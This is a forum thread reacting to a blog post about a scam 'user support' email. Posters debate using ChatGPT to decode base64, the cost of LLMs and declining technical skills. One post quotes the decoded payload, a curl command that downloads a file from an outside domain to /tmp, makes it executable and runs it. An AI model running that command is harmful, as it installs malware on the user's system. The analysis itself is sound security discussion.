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The scariest "user support" email I've received

devas.life

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Re: The scariest "user support" email I've received

#231

Post by Anthony-G »

radu_floricica wrote: post #176
mort96 wrote: post #157

Why would you ask ChatGPT to tell you what a base64-encoded string is? Just base64 decode it! This blog post's "investigation" is worthless when it's just copy/pasting what a chat bot said. There is no reason to rely on a chat bot for this.

"Why use a calculator all the time? Just use pen and paper!" ChatGPT is the right tool here, because it does the job, and it's more versatile. And underneath the hood it most likely called a decoder anyways.

In addition to the other responses, ChatGPT is more wasteful and uses a lot more computing power than a locally run Base 64 decoder. When masses of people use LLMs for such trivial calculations, the environmental cost adds up.

Re: The scariest "user support" email I've received

#232

Post by swiftcoder »

account42 wrote: post #216
swiftcoder wrote: post #209

Earlier quoted context omitted.

IMO it's a fairly common ESL-phrasing for something like "thanks for your help"

If your idea of common ESL-phrasing is Indian scam center idioms perhaps.

"Indian scam centre idioms" is just Indian-flavoured technical English. My Indian coworkers have made many of the same grammatical mistakes when they first arrive to work at a US firm

Re: The scariest "user support" email I've received

#234

Post by DocTomoe »

closewith wrote: post #197
DocTomoe wrote: post #165

Earlier quoted context omitted.

As a kid who was raised editing and tinkering memory blocks out of CONFIG.SYS, I've been watching this for a while when the GenZ-Mobile-Generation showed up and was not able to do the darnest things. I see with terror in my heart that the downward ride isn't yet over.

Can you grow your own food? Treat your own injuries? Build your own shelter? Repair your own appliances? If not, you're already much farther down this dependency funnel that you believe.

Matter of fact, I can, and have done, all of these things. Recreationally.

The idea is not to be hypergeneralist. What I observe - subjectively - is that we are losing whole generations of what used to be the 'nerdy IT/ham-radio/electronics-folks'. Sure, there is a small remnants with the makerscene, but that's mostly older people (beginning in their late teens).d

Re: The scariest "user support" email I've received

#235

Post by famouswaffles »

63stack wrote: post #203
radu_floricica wrote: post #176

Earlier quoted context omitted.

"Why use a calculator all the time? Just use pen and paper!" ChatGPT is the right tool here, because it does the job, and it's more versatile. And underneath the hood it most likely called a decoder anyways.

ChatGPT failed at doing the job, and it was the wrong tool to use. It explained that it saves a file and executes it. That's a nothingburger, it was obvious it's going to execute some code. The actual value would have been showing what's in the executed file, but of course it didn't show that (since that would have required actually executing the code). Showing the contents of the file would have provided an exact an…

So what exactly did it fail at here ? Not executing the clear malware attack just so it could it see what was inside ? Really ?

Re: The scariest "user support" email I've received

#236

Post by drweevil »

mort96 wrote: post #157

Why would you ask ChatGPT to tell you what a base64-encoded string is? Just base64 decode it! This blog post's "investigation" is worthless when it's just copy/pasting what a chat bot said. There is no reason to rely on a chat bot for this.

There is a (temporary) misalignment of incentives. ChatGPT is cheap--for now. But it cannot remain so for long. Someone(s) will have to pay for those huge datacenters and the gigawatts of power they require, and the investors speculating on them.

Re: The scariest "user support" email I've received

#237

Post by JohnFen »

closewith wrote: post #197
DocTomoe wrote: post #165

Earlier quoted context omitted.

As a kid who was raised editing and tinkering memory blocks out of CONFIG.SYS, I've been watching this for a while when the GenZ-Mobile-Generation showed up and was not able to do the darnest things. I see with terror in my heart that the downward ride isn't yet over.

Can you grow your own food? Treat your own injuries? Build your own shelter? Repair your own appliances? If not, you're already much farther down this dependency funnel that you believe.

Yes, to all of the above. So can a lot of the people I know.

Re: The scariest "user support" email I've received

#238

Post by nijave »

thaumasiotes wrote: post #136
nijave wrote: post #105

Earlier quoted context omitted.

The "old fashioned" way was to post on an internet message board or internet chatroom and let someone else decode it.

In this case the old-fashioned way is to decode it yourself. It's a very short blob of base64, and if you don't recognize it, that doesn't matter, because the command explicitly passes it to `base64 -d`. Decoded: curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha; chmod +x /tmp/pjKmMUFEYv8AlfKR; /tmp/pjKmMUFEYv8AlfKR This isn't exactly obfuscated. Download an executable file, make it…

Maybe decode was the wrong word. I was thinking more along the lines of "analyze" which would entail understanding what the binary is doing after downloading it

I remember tons of "what's this JS/PHP blob do I found in my Wordpress site" back in the day that were generally more obfuscated than a single base64 pass

Re: The scariest "user support" email I've received

#239

Post by JohnFen »

radu_floricica wrote: post #176
mort96 wrote: post #157

Why would you ask ChatGPT to tell you what a base64-encoded string is? Just base64 decode it! This blog post's "investigation" is worthless when it's just copy/pasting what a chat bot said. There is no reason to rely on a chat bot for this.

"Why use a calculator all the time? Just use pen and paper!" ChatGPT is the right tool here, because it does the job, and it's more versatile. And underneath the hood it most likely called a decoder anyways.

genAI is unreliable. For a task like this, reliability is pretty important.

Re: The scariest "user support" email I've received

#240

Post by JohnFen »

torben-friis wrote: post #186
johnisgood wrote: post #174

Earlier quoted context omitted.

I mean some people asked what "cat" is, then I remembered there was a time when I had no idea how to use mIRC, so whatever. In my defense though, I was REALLY young.

>In my defense though, I was REALLY young. No need to apologize, needing an excuse to lack knowledge is how we end up with people afraid to ask. I try to make it visible when I’m among juniors and there’s something I don’t know. I think showing the process of “I realize I miss some knowledge => here’s how I bridge the gap” might help against the current trend of going through the motions in the dark. It used to be th…

> No need to apologize, needing an excuse to lack knowledge is how we end up with people afraid to ask.

Yes!

There is no shame in ignorance. We are all, without exception, ignorant of more things than we're knowledgeable about. Shame should be reserved for remaining ignorant of things when it becomes clear that we would benefit from learning about them.

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